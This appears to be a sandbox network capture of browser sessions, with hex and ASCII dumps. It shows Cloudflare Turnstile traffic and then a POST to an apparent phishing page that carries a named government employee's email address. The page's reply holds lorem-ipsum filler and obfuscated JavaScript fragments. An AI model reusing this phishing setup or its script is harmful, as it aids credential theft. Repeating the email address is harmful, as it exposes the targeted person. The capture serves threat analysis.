31	192.168.2.4	50064	104.18.94.41	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-30 18:26:40 UTC	1160	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/2083360754:1738257177:_AcCsPlYk05IoUBDh1nHFkQSrBzJqWxJyisqL912d74/90a38299fd108c5d/9_ef1bsav0HAQER.JKQz6mWAWX0fqfJMZ5UBZf6svQ0-1738261584-1.1.1.1-6seam92rOsj.fbnJiQ_p0Y_LQPEb2BxrnwdlVtxSc2ZqLf3t8hBjhyRAZoSQdX7v HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 37723 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-Type: text/plain;charset=UTF-8 cf-chl: 9_ef1bsav0HAQER.JKQz6mWAWX0fqfJMZ5UBZf6svQ0-1738261584-1.1.1.1-6seam92rOsj.fbnJiQ_p0Y_LQPEb2BxrnwdlVtxSc2ZqLf3t8hBjhyRAZoSQdX7v cf-chl-ra: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/569jv/0x4AAAAAAA6BeftGM8IqIoFc/auto/fbE/auto_timeout/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-30 18:26:40 UTC	16384	OUT	Data Raw: 76 33 53 46 31 50 5a 30 65 52 53 5a 33 4e 36 52 69 74 65 46 53 53 4e 44 59 68 49 54 49 30 46 72 65 49 61 49 53 46 4e 6c 52 59 36 77 49 31 46 44 54 74 49 41 53 49 76 50 49 4a 53 53 50 55 49 7a 46 42 74 49 4e 76 49 52 35 49 77 6d 6f 74 74 49 61 4f 53 49 55 49 69 31 4c 68 49 6f 46 50 36 49 54 46 69 6b 24 6b 44 49 59 74 7a 54 49 53 65 49 73 49 4e 4a 33 49 71 69 49 59 44 54 47 49 5a 30 4b 78 49 4e 34 55 65 65 74 51 49 59 41 53 72 6e 4a 33 49 72 41 72 77 24 73 35 56 73 4d 4f 4a 65 6f 35 49 50 41 4d 33 51 71 4c 49 5a 42 4f 62 52 4e 39 31 24 73 32 39 50 65 49 79 57 42 61 73 72 7a 49 59 46 50 4e 66 6e 42 44 49 38 53 49 51 57 47 32 74 2b 57 36 56 66 2d 69 49 42 77 68 69 2d 58 45 79 74 75 76 72 47 24 4f 46 68 58 46 48 68 72 33 47 41 75 59 46 30 4c 4f 45 68 75 31 36 Data Ascii: v3SF1PZ0eRSZ3N6RiteFSSNDYhITI0FreIaISFNlRY6wI1FDTtIASIvPIJSSPUIzFBtINvIR5IwmottIaOSIUIi1LhIoFP6ITFik$kDIYtzTISeIsINJ3IqiIYDTGIZ0KxIN4UeetQIYASrnJ3IrArw$s5VsMOJeo5IPAM3QqLIZBObRN91$s29PeIyWBasrzIYFPNfnBDI8SIQWG2t+W6Vf-iIBwhi-XEytuvrG$OFhXFHhr3GAuYF0LOEhu16
2025-01-30 18:26:40 UTC	16384	OUT	Data Raw: 74 49 4f 49 69 49 4e 46 49 7a 49 72 49 38 66 5a 41 49 44 53 42 5a 66 54 50 44 53 50 6b 5a 32 49 59 68 50 6b 50 43 4a 38 49 49 53 59 43 49 53 49 72 53 5a 70 66 6c 49 73 53 50 4a 49 61 46 72 7a 59 34 49 55 46 73 65 5a 46 49 78 58 50 74 49 6e 49 37 46 71 74 50 24 44 51 32 38 46 50 58 58 4f 49 4c 32 59 39 6e 65 72 6b 58 61 55 49 77 49 69 6b 59 74 49 5a 7a 71 53 49 7a 49 37 65 59 43 66 45 49 4d 66 57 53 50 39 49 2b 49 5a 7a 49 41 49 2d 46 50 42 4a 70 32 47 50 4d 32 5a 34 49 56 7a 4a 66 50 74 49 4b 46 53 66 50 52 49 30 46 69 66 49 49 49 6e 70 7a 5a 5a 49 44 49 38 46 59 4e 49 61 49 38 7a 50 68 5a 61 65 4e 49 50 56 49 2d 30 44 74 5a 6e 49 6f 49 5a 7a 50 52 49 64 49 4a 66 5a 36 66 50 64 57 52 59 58 5a 2b 49 74 33 59 32 5a 31 49 30 7a 71 35 49 70 49 66 7a 52 30 5a Data Ascii: tIOIiINFIzIrI8fZAIDSBZfTPDSPkZ2IYhPkPCJ8IISYCISIrSZpflIsSPJIaFrzY4IUFseZFIxXPtInI7FqtP$DQ28FPXXOIL2Y9nerkXaUIwIikYtIZzqSIzI7eYCfEIMfWSP9I+IZzIAI-FPBJp2GPM2Z4IVzJfPtIKFSfPRI0FifIIInpzZZIDI8FYNIaI8zPhZaeNIPVI-0DtZnIoIZzPRIdIJfZ6fPdWRYXZ+It3Y2Z1I0zq5IpIfzR0Z
2025-01-30 18:26:40 UTC	4955	OUT	Data Raw: 67 47 34 75 76 34 4c 68 68 2d 6b 62 51 4c 64 4c 78 56 4c 73 50 49 4a 58 50 5a 6a 67 6c 74 58 42 69 37 75 45 74 53 50 58 78 61 79 58 5a 58 24 79 69 31 50 33 6e 42 2d 55 58 76 41 49 24 7a 6e 2b 30 6b 58 34 71 58 69 61 6e 39 62 48 6c 49 4e 46 36 33 51 7a 34 57 32 32 44 46 6b 76 36 58 30 44 73 33 46 66 6c 32 37 49 62 4d 58 36 57 24 42 47 68 51 6d 5a 57 37 31 59 30 6e 5a 71 74 77 4a 45 41 5a 7a 49 61 4a 48 74 49 41 49 6c 33 47 31 46 36 7a 38 50 72 6f 37 4f 31 75 76 30 51 37 6c 32 47 61 6f 2b 53 71 70 66 4f 2d 5a 2d 54 39 50 49 38 73 48 72 69 79 43 68 72 7a 6c 75 6b 68 33 71 61 74 45 33 55 54 66 49 37 49 74 61 6f 64 47 72 42 57 72 6a 37 57 53 49 52 30 6f 57 4e 6f 24 6a 34 6b 49 47 6c 49 4e 42 58 48 66 66 24 45 31 30 35 47 42 4e 72 4f 43 41 32 61 2d 57 55 59 48 Data Ascii: gG4uv4Lhh-kbQLdLxVLsPIJXPZjgltXBi7uEtSPXxayXZX$yi1P3nB-UXvAI$zn+0kX4qXian9bHlINF63Qz4W22DFkv6X0Ds3Ffl27IbMX6W$BGhQmZW71Y0nZqtwJEAZzIaJHtIAIl3G1F6z8Pro7O1uv0Q7l2Gao+SqpfO-Z-T9PI8sHriyChrzlukh3qatE3UTfI7ItaodGrBWrj7WSIR0oWNo$j4kIGlINBXHff$E105GBNrOCA2a-WUYH
2025-01-30 18:26:40 UTC	1357	IN	HTTP/1.1 200 OK Date: Thu, 30 Jan 2025 18:26:40 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4928 Connection: close cf-chl-out-s: dt4jYeb0GzSRrTkQOUK+lEz/j+i+tC5XcvT55FgWDcHRjieSpH4Edb4A+Vt45HSPZLJgJ22mUS7sGlX5VOc85SXSCs5it/N2TcQcKPeHeOKwUy19Zlgv+S2vAQziopIvFZLjd6vqg4qGcP78N0ZlYcsYDH3yFyCwCowLuRIbE28jbdhM3wbE9K47ZU+FXwYDZA81ZGVLenM0U/AhvCoW6+G9nmBNWu7sNWtB0DvjjmyxKzS5qeSiocaTqwz+dsIfKVndaKo0xMWXGSkaLlUTuqX86SvWY1J4RILmuSofqpUjNI5czBVoWr3CZj51u1ALFQfVhzWW1PmbJfXO8qUncHSsFsvToLJPDwaVGgBUU1v6x1s09wHZ2JsNHNLyTEHTUTqMOAmV7ToRm+P+HZkCXhJ9tiuVmMLPLclSS+3JiBHpNvHixS5gXoCNArEKzL1KQTE/VxafqTwtSj2F0XQVpZwb0UuZdTbQLzCltaficVeCaUoUVii7kS+qvrdlII3pWWswHL4xkYZptNF/oGwZO3aP1cbZk29maVn6dLObeF/noWWKNusSgGK3QqJMFD78sF3gUqKED8y5wiyiOroY1lja5jwX/P2eQXodfpH7slga7n4KbjymYMLKYepNOWk7EGCJHZ6slQkBXbLUqu1uwMREbBxmIGulTq9mQCawc3JgDlODalyf3XXEtwO39ZkYq++tGPqh2QI5vM+LAgXhLEu54ymJG5FRunaHlHX9gZhJl1Zjy3BRGIBeGdYVtH5XOLtxPmxmoq7XK/I6mZhrgAWLXlIHfjWywTKRDXNboLWwTiut37gOGP2/iJRtayQisebQWBgIXDOgyOubs5kxVH7DJ/ULDWxtesq0rWODqxdY43IzH1avJ/6e+zXZa8iJG2S6PQtdroqQueujXH/porQHgapgDyNVIVSQvI6a++rV9CZ9HkBNEVa7NYDPmi+Xg2vwRuw86Vn1UyJTniZt2A==$MI+zuTyP4J7j9cEjPyfzxg== cf-chl-out: eF+jph4h9O/Il9Em1LNmkVBq1Xs2BiOYHDJQsR+OYlQ84dwu+DtzXnMm4qyNXbCr/JPDCtqDN8ZLyELZUikxFVkYbf8akthvmPEoP3UODv4=$GcOAivkjzCnzNNUjKroVOA== Server: cloudflare CF-RAY: 90a382fa296241e6-EWR
2025-01-30 18:26:40 UTC	32	IN	Data Raw: 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: alt-svc: h3=":443"; ma=86400
2025-01-30 18:26:40 UTC	1349	IN	Data Raw: 5a 30 32 44 66 6e 4b 4b 6b 6e 53 4c 61 5a 4a 32 69 46 61 56 6b 47 74 78 59 70 79 44 63 35 6d 56 69 59 64 71 59 57 53 4f 5a 5a 65 78 68 61 5a 6c 62 34 71 54 64 59 71 70 6c 34 39 30 68 70 36 6e 6a 35 71 69 71 35 54 46 73 4b 57 5a 75 63 54 49 79 63 79 6a 75 6f 32 6f 7a 4c 43 65 77 39 43 6f 69 73 71 32 72 5a 6e 5a 79 72 4f 72 33 5a 6a 58 6e 2b 47 78 32 70 36 68 73 74 62 67 33 71 37 4b 78 73 32 37 79 73 37 64 37 74 2f 35 78 74 44 7a 38 73 2b 77 31 76 66 54 38 76 48 37 2f 74 41 46 33 38 54 49 39 75 33 73 79 2b 72 39 79 77 73 54 42 66 54 57 7a 51 72 35 46 2b 77 46 45 52 33 7a 45 68 62 72 48 77 58 7a 42 43 55 6a 48 78 6f 68 41 79 38 72 42 65 6b 50 37 2b 77 70 4c 4f 38 6b 4b 67 33 33 44 51 7a 33 43 44 6c 42 50 41 4c 39 2f 52 4d 6a 4d 51 41 7a 4b 43 49 68 4e 78 31 Data Ascii: Z02DfnKKknSLaZJ2iFaVkGtxYpyDc5mViYdqYWSOZZexhaZlb4qTdYqpl490hp6nj5qiq5TFsKWZucTIycyjuo2ozLCew9Coisq2rZnZyrOr3ZjXn+Gx2p6hstbg3q7Kxs27ys7d7t/5xtDz8s+w1vfT8vH7/tAF38TI9u3sy+r9ywsTBfTWzQr5F+wFER3zEhbrHwXzBCUjHxohAy8rBekP7+wpLO8kKg33DQz3CDlBPAL9/RMjMQAzKCIhNx1
2025-01-30 18:26:40 UTC	1369	IN	Data Raw: 31 6c 34 69 47 4a 64 56 32 6c 46 61 31 6c 52 67 47 35 4c 56 57 64 6d 6d 6d 4e 76 64 33 5a 56 6b 58 4b 69 64 6e 46 32 6b 33 36 6d 66 4a 65 5a 67 48 61 74 61 5a 6c 34 65 61 53 71 68 62 61 4b 74 4a 53 6f 64 6f 2b 51 6c 4c 57 55 6d 72 2b 56 67 49 2f 44 67 5a 53 6a 78 35 72 41 6e 4d 79 69 7a 4b 47 72 78 34 6d 6d 31 61 47 58 6f 37 50 49 72 71 32 6e 73 37 6d 30 71 62 65 35 73 4f 61 36 32 63 4c 6e 77 72 72 49 78 75 6a 6d 7a 4d 32 78 76 4d 58 4f 78 76 54 4a 30 4c 48 72 31 39 62 38 78 39 62 4b 41 51 4b 36 2b 4e 62 50 75 67 72 64 79 2b 44 39 42 66 76 43 45 41 58 39 79 68 4d 56 37 76 54 78 37 68 58 77 31 65 72 75 2b 2b 6e 2b 37 41 41 56 37 68 44 37 4b 51 41 46 2f 75 4d 6f 37 41 48 6e 4c 51 4c 6d 37 44 55 4c 36 69 6b 31 4e 52 41 5a 43 42 6b 55 43 77 38 74 49 50 74 46 Data Ascii: 1l4iGJdV2lFa1lRgG5LVWdmmmNvd3ZVkXKidnF2k36mfJeZgHataZl4eaSqhbaKtJSodo+QlLWUmr+VgI/DgZSjx5rAnMyizKGrx4mm1aGXo7PIrq2ns7m0qbe5sOa62cLnwrrIxujmzM2xvMXOxvTJ0LHr19b8x9bKAQK6+NbPugrdy+D9BfvCEAX9yhMV7vTx7hXw1eru++n+7AAV7hD7KQAF/uMo7AHnLQLm7DUL6ik1NRAZCBkUCw8tIPtF
2025-01-30 18:26:40 UTC	1369	IN	Data Raw: 75 43 59 6f 6c 38 67 59 35 54 61 49 6d 47 62 47 61 61 65 31 4e 55 55 57 74 76 62 59 78 77 66 6e 35 32 58 70 6d 63 61 4a 65 68 6e 4b 69 6e 6f 47 75 7a 6f 49 4f 67 64 61 4f 79 69 61 69 70 6d 72 70 2f 71 4a 32 57 6b 6e 61 7a 6e 38 69 59 75 5a 69 55 76 73 57 4c 6d 73 6d 48 6e 4b 6e 50 6e 73 61 58 79 4e 53 61 30 38 32 2b 75 4c 6a 4d 6e 4f 4b 31 31 37 57 6d 6d 64 69 70 77 4d 44 67 76 61 44 4c 34 38 48 75 7a 65 54 56 38 38 4b 32 79 66 6e 6a 78 74 6a 78 30 65 76 79 2f 74 4d 46 31 2b 44 39 34 2b 54 79 41 2b 62 59 78 63 76 78 42 65 37 46 41 4f 44 53 34 50 48 6c 36 2f 54 37 45 4f 7a 33 45 42 77 4c 44 65 77 61 49 51 6a 68 45 68 58 33 47 42 76 32 2f 75 4c 6e 4a 52 4c 6d 4a 41 4d 53 41 52 59 77 45 6a 62 30 42 77 6f 53 48 78 73 69 2f 52 55 63 4d 78 4d 54 4a 45 59 34 48 Data Ascii: uCYol8gY5TaImGbGaae1NUUWtvbYxwfn52XpmcaJehnKinoGuzoIOgdaOyiaipmrp/qJ2Wknazn8iYuZiUvsWLmsmHnKnPnsaXyNSa082+uLjMnOK117WmmdipwMDgvaDL48HuzeTV88K2yfnjxtjx0evy/tMF1+D94+TyA+bYxcvxBe7FAODS4PHl6/T7EOz3EBwLDewaIQjhEhX3GBv2/uLnJRLmJAMSARYwEjb0BwoSHxsi/RUcMxMTJEY4H
2025-01-30 18:26:40 UTC	841	IN	Data Raw: 55 61 35 46 6a 59 34 69 55 62 47 69 4d 6e 33 4a 36 67 6e 31 74 6c 6e 5a 77 6b 4b 71 62 61 6e 32 73 5a 59 75 62 73 48 2b 7a 5a 72 53 43 75 47 71 6e 71 62 57 48 72 4a 70 36 6a 34 6d 77 6a 48 61 31 6f 71 53 54 6b 71 4c 42 6d 70 61 4e 72 35 32 71 72 72 4f 6a 6e 71 4b 74 77 38 33 55 78 70 4c 4d 72 71 79 31 6d 37 36 65 73 39 54 59 33 4c 47 7a 36 4b 58 57 36 37 36 35 76 4f 57 36 71 38 61 76 34 4e 58 4a 30 4c 6e 59 7a 38 62 66 75 62 59 43 38 4e 48 52 7a 2b 62 6d 38 2f 66 6c 76 66 63 4d 33 63 58 36 41 2f 4c 4c 35 52 54 79 7a 67 54 77 47 51 7a 6b 39 76 34 4a 36 74 63 56 38 74 6f 56 45 65 4c 32 2b 50 37 35 2b 68 37 2b 2f 67 49 4c 4b 52 34 47 2f 51 72 74 44 77 49 48 4c 41 6f 56 50 66 59 50 2b 79 37 39 4c 30 55 58 46 50 70 4b 50 55 55 63 47 42 63 75 47 79 42 55 45 42 Data Ascii: Ua5FjY4iUbGiMn3J6gn1tlnZwkKqban2sZYubsH+zZrSCuGqnqbWHrJp6j4mwjHa1oqSTkqLBmpaNr52qrrOjnqKtw83UxpLMrqy1m76es9TY3LGz6KXW6765vOW6q8av4NXJ0LnYz8bfubYC8NHRz+bm8/flvfcM3cX6A/LL5RTyzgTwGQzk9v4J6tcV8toVEeL2+P75+h7+/gILKR4G/QrtDwIHLAoVPfYP+y79L0UXFPpKPUUcGBcuGyBUEB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	50065	104.18.95.41	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-30 18:26:41 UTC	599	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/2083360754:1738257177:_AcCsPlYk05IoUBDh1nHFkQSrBzJqWxJyisqL912d74/90a38299fd108c5d/9_ef1bsav0HAQER.JKQz6mWAWX0fqfJMZ5UBZf6svQ0-1738261584-1.1.1.1-6seam92rOsj.fbnJiQ_p0Y_LQPEb2BxrnwdlVtxSc2ZqLf3t8hBjhyRAZoSQdX7v HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-30 18:26:41 UTC	442	IN	HTTP/1.1 400 Bad Request Date: Thu, 30 Jan 2025 18:26:41 GMT Content-Type: application/json Content-Length: 14 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: cjHTrRXlKvrxv3DQ6wFXgapXGAdokPaXj7CHisHL/mny2fziXVpTi71Li9kDRzKBJ3mgD6GZJWzqEGKobwx/ig==$oBUva6TnjEO3fZ/G6L3kFw== Server: cloudflare CF-RAY: 90a382ff9e67c34d-EWR alt-svc: h3=":443"; ma=86400
2025-01-30 18:26:41 UTC	14	IN	Data Raw: 7b 22 65 72 72 22 3a 31 30 30 32 38 30 7d Data Ascii: {"err":100280}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	50070	104.21.80.1	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-30 18:26:41 UTC	989	OUT	POST /6l7q9/?e=scotiana.bennett@ferc.gov HTTP/1.1 Host: office.docmanagementsystem.com Connection: keep-alive Content-Length: 987 Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: https://office.docmanagementsystem.com Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://office.docmanagementsystem.com/6l7q9/?e=scotiana.bennett@ferc.gov Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=ola75drb6si4pseg8138m0r2si
2025-01-30 18:26:41 UTC	987	OUT	Data Raw: 63 66 2d 74 75 72 6e 73 74 69 6c 65 2d 72 65 73 70 6f 6e 73 65 3d 30 2e 45 51 39 31 38 56 33 76 48 31 32 46 54 54 73 79 5a 72 58 39 45 55 71 71 2d 47 4a 43 6f 7a 74 77 50 45 71 64 38 5f 38 4a 72 72 58 61 76 75 68 36 7a 61 52 37 43 56 65 74 36 6e 32 55 38 55 55 74 72 4f 48 41 63 4a 33 6a 50 65 54 50 41 66 66 74 62 57 48 43 33 4c 57 54 4d 35 66 31 4c 41 6c 54 71 72 4a 45 65 58 48 4f 71 41 65 6c 34 76 77 51 58 5a 50 72 33 48 5a 51 5f 32 4d 69 38 37 72 58 31 75 79 65 39 35 6a 65 4d 4e 5f 53 64 30 69 4b 43 44 5a 62 62 46 55 5f 71 58 61 6f 4b 51 45 6c 36 31 69 75 4d 45 45 53 6e 59 51 46 37 72 72 63 74 61 6d 53 4b 39 72 73 46 72 74 44 54 44 51 37 37 76 4e 5f 43 36 39 39 5a 34 7a 6a 37 6f 39 34 46 48 67 56 36 65 52 6d 57 39 6d 62 58 4f 70 74 64 77 7a 31 4f 6c 71 Data Ascii: cf-turnstile-response=0.EQ918V3vH12FTTsyZrX9EUqq-GJCoztwPEqd8_8JrrXavuh6zaR7CVet6n2U8UUtrOHAcJ3jPeTPAfftbWHC3LWTM5f1LAlTqrJEeXHOqAel4vwQXZPr3HZQ_2Mi87rX1uye95jeMN_Sd0iKCDZbbFU_qXaoKQEl61iuMEESnYQF7rrctamSK9rsFrtDTDQ77vN_C699Z4zj7o94FHgV6eRmW9mbXOptdwz1Olq
2025-01-30 18:26:42 UTC	946	IN	HTTP/1.1 200 OK Date: Thu, 30 Jan 2025 18:26:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.0.30 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iYbk%2BLATtIIp09YjA2IgyLOA4w3PSg6eI8q304yQsC%2BkdCyU3shjNC346xjjEinYaPQLWQUwSgV%2BDVDBH2CMaEK1W8JfT0aL5j%2BhYTIzlbnTDc4X2MjsBE4lUk3y0IU6FYqnr48ol2qGp4lQAbkPdA8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 90a38302e9760f36-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1500&min_rtt=1495&rtt_var=571&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2860&recv_bytes=2598&delivery_rate=1897335&cwnd=231&unsent_bytes=0&cid=b7b927b8fbf97437&ts=722&x=0"
2025-01-30 18:26:42 UTC	423	IN	Data Raw: 31 34 61 62 0d 0a 3c 21 2d 2d 20 3c 73 70 61 6e 3e 53 61 6c 61 6d 69 20 63 68 69 73 6c 69 63 20 66 75 67 69 61 74 20 62 72 69 73 6b 65 74 20 61 6e 69 6d 2c 20 64 6f 6c 6f 72 65 20 66 72 61 6e 6b 66 75 72 74 65 72 20 72 65 70 72 65 68 65 6e 64 65 72 69 74 20 69 72 75 72 65 20 61 6e 64 6f 75 69 6c 6c 65 20 62 65 65 66 20 72 69 62 73 2e 20 41 64 20 74 72 69 2d 74 69 70 20 63 69 6c 6c 75 6d 20 69 6e 20 6c 6f 72 65 6d 20 63 75 70 69 6d 2e 20 4f 63 63 61 65 63 61 74 20 63 61 70 69 63 6f 6c 61 20 6b 65 76 69 6e 20 6c 61 6e 64 6a 61 65 67 65 72 20 76 6f 6c 75 70 74 61 74 65 20 63 68 75 63 6b 20 69 70 73 75 6d 20 64 6f 2c 20 6f 66 66 69 63 69 61 20 65 78 63 65 70 74 65 75 72 20 69 6e 2e 20 44 6f 20 65 78 65 72 63 69 74 61 74 69 6f 6e 20 69 70 73 75 6d 2c 20 63 75 Data Ascii: 14ab... <span>Salami chislic fugiat brisket anim, dolore frankfurter reprehenderit irure andouille beef ribs. Ad tri-tip cillum in lorem cupim. Occaecat capicola kevin landjaeger voluptate chuck ipsum do, officia excepteur in. Do exercitation ipsum, cu
2025-01-30 18:26:42 UTC	1369	IN	Data Raw: 20 6c 61 62 6f 72 75 6d 20 64 6f 6e 65 72 20 70 69 67 20 6c 61 62 6f 72 69 73 2e 20 4d 65 61 74 6c 6f 61 66 20 68 61 6d 20 68 6f 63 6b 20 65 73 74 20 72 69 62 65 79 65 20 74 2d 62 6f 6e 65 20 73 68 6f 72 74 20 72 69 62 73 2e 20 44 6f 6c 6f 72 65 20 62 69 6c 74 6f 6e 67 20 62 61 63 6f 6e 20 6a 65 72 6b 79 20 6f 66 66 69 63 69 61 20 62 6f 75 64 69 6e 20 68 61 6d 20 68 6f 63 6b 2e 20 4c 61 62 6f 72 69 73 20 63 6f 72 6e 65 64 20 62 65 65 66 20 62 72 65 73 61 6f 6c 61 20 6d 6f 6c 6c 69 74 20 65 74 20 64 6f 6c 6f 72 65 20 75 74 20 69 72 75 72 65 20 6d 61 67 6e 61 20 76 6f 6c 75 70 74 61 74 65 20 61 6e 64 6f 75 69 6c 6c 65 20 65 78 63 65 70 74 65 75 72 20 69 6e 2e 20 46 72 61 6e 6b 66 75 72 74 65 72 20 72 75 6d 70 20 61 6e 69 6d 20 70 69 63 61 6e 68 61 20 6d 6f Data Ascii: laborum doner pig laboris. Meatloaf ham hock est ribeye t-bone short ribs. Dolore biltong bacon jerky officia boudin ham hock. Laboris corned beef bresaola mollit et dolore ut irure magna voluptate andouille excepteur in. Frankfurter rump anim picanha mo
2025-01-30 18:26:42 UTC	1369	IN	Data Raw: 6f 69 64 65 6e 74 20 6d 6f 6c 6c 69 74 20 73 68 61 6e 6b 20 61 6e 69 6d 20 62 72 65 73 61 6f 6c 61 2e 20 54 61 69 6c 20 69 70 73 75 6d 20 65 78 20 73 61 75 73 61 67 65 20 70 69 67 2e 20 4c 61 6e 64 6a 61 65 67 65 72 20 72 75 6d 70 20 73 61 6c 61 6d 69 20 63 68 69 63 6b 65 6e 20 72 69 62 65 79 65 20 69 6e 20 63 6f 77 20 6b 65 76 69 6e 20 76 65 6e 69 61 6d 20 65 6c 69 74 2e 20 43 6f 72 6e 65 64 20 62 65 65 66 20 70 61 73 74 72 61 6d 69 20 72 75 6d 70 20 73 69 6e 74 20 65 61 2e 20 54 65 6e 64 65 72 6c 6f 69 6e 20 66 72 61 6e 6b 66 75 72 74 65 72 20 65 6e 69 6d 20 75 74 20 63 6f 77 20 62 69 6c 74 6f 6e 67 20 63 6f 6e 73 65 71 75 61 74 2e 0a 66 75 6e 63 74 69 6f 6e 20 65 55 34 39 67 32 28 29 7b 7d 76 61 72 20 57 31 74 30 38 6b 3d 4f 62 6a 65 63 74 5b 27 64 65 Data Ascii: oident mollit shank anim bresaola. Tail ipsum ex sausage pig. Landjaeger rump salami chicken ribeye in cow kevin veniam elit. Corned beef pastrami rump sint ea. Tenderloin frankfurter enim ut cow biltong consequat.function eU49g2(){}var W1t08k=Object['de
2025-01-30 18:26:42 UTC	1369	IN	Data Raw: 5d 25 45 31 75 55 2e 59 32 6e 6e 5d 56 32 46 3d 6f 5f 26 41 32 61 68 77 31 42 47 7c 3a 24 2f 52 29 5e 55 31 59 63 22 61 73 27 2c 27 2c 56 78 65 69 53 6f 37 3a 71 68 4b 3e 6d 40 45 23 52 6e 51 22 39 4c 65 54 56 5d 6e 6f 5d 66 47 24 56 47 28 6e 38 52 44 71 70 27 2c 27 25 24 47 49 35 2c 49 2c 54 43 2a 46 67 34 41 41 45 72 21 53 2e 2c 50 25 7b 57 65 33 64 67 30 61 31 7a 27 2c 27 77 6b 38 44 50 5a 75 4d 3c 33 56 23 5f 6d 78 47 44 7a 27 2c 27 7a 6f 3c 33 56 44 79 3f 66 6e 3f 73 5e 45 45 32 27 2c 27 73 24 5a 24 21 46 5d 6e 4a 43 73 47 51 42 3b 3d 67 60 38 51 72 53 4f 72 36 69 7b 67 61 43 60 2a 43 68 6a 79 35 61 3f 72 29 56 54 27 2c 27 28 40 7c 2c 51 4f 63 25 3d 57 47 65 6e 3c 28 45 79 6f 6c 3d 76 61 74 25 70 56 6a 43 37 4b 43 3e 37 78 7c 65 6a 37 7a 27 2c 27 4d Data Ascii: ]%E1uU.Y2nn]V2F=o_&A2ahw1BG\|:$/R)^U1Yc"as',',VxeiSo7:qhK>m@E#RnQ"9LeTV]no]fG$VG(n8RDqp','%$GI5,I,TCFg4AAEr!S.,P%{We3dg0a1z','wk8DPZuM<3V#_mxGDz','zo<3VDy?fn?s^EE2','s$Z$!F]nJCsGQB;=g`8QrSOr6i{gaC`Chjy5a?r)VT','(@\|,QOc%=WGen<(Eyol=vat%pVjC7KC>7x\|ej7z','M
2025-01-30 18:26:42 UTC	769	IN	Data Raw: 2c 27 4e 42 2f 51 44 60 44 4a 3c 42 37 5b 5f 43 7c 37 4f 50 26 3d 7d 6e 47 6b 3d 7c 6a 46 31 55 44 3e 6c 4d 27 2c 27 23 47 5e 75 2e 40 34 21 40 69 28 51 32 34 67 79 5d 6b 6a 79 7c 28 38 37 60 44 4e 6c 4d 27 2c 27 57 6b 6e 51 57 63 4c 44 4f 50 4b 6a 60 5d 51 45 3b 62 7a 6c 2e 6b 79 32 7b 60 3f 7b 62 52 28 45 6e 5d 70 76 46 3f 31 7d 6f 43 6b 27 2c 27 72 72 68 75 2c 38 53 25 25 69 2f 44 64 32 3e 3d 56 54 6a 70 2e 43 35 65 46 77 73 6c 26 37 25 24 23 43 4e 27 2c 27 6b 78 5e 75 23 3f 3c 37 35 50 62 74 22 42 31 5e 35 73 33 28 3f 7d 5a 60 33 71 25 65 3f 73 7a 3b 3f 50 67 53 5b 30 60 3e 3f 33 54 46 7a 27 2c 27 53 3b 24 6a 35 31 3b 25 35 72 27 2c 27 6b 62 57 6a 4d 44 73 52 3c 50 48 54 4d 27 2c 27 30 6b 4f 6a 6d 62 3f 53 5b 6e 3d 32 4d 55 25 61 73 60 75 33 53 62 68 Data Ascii: 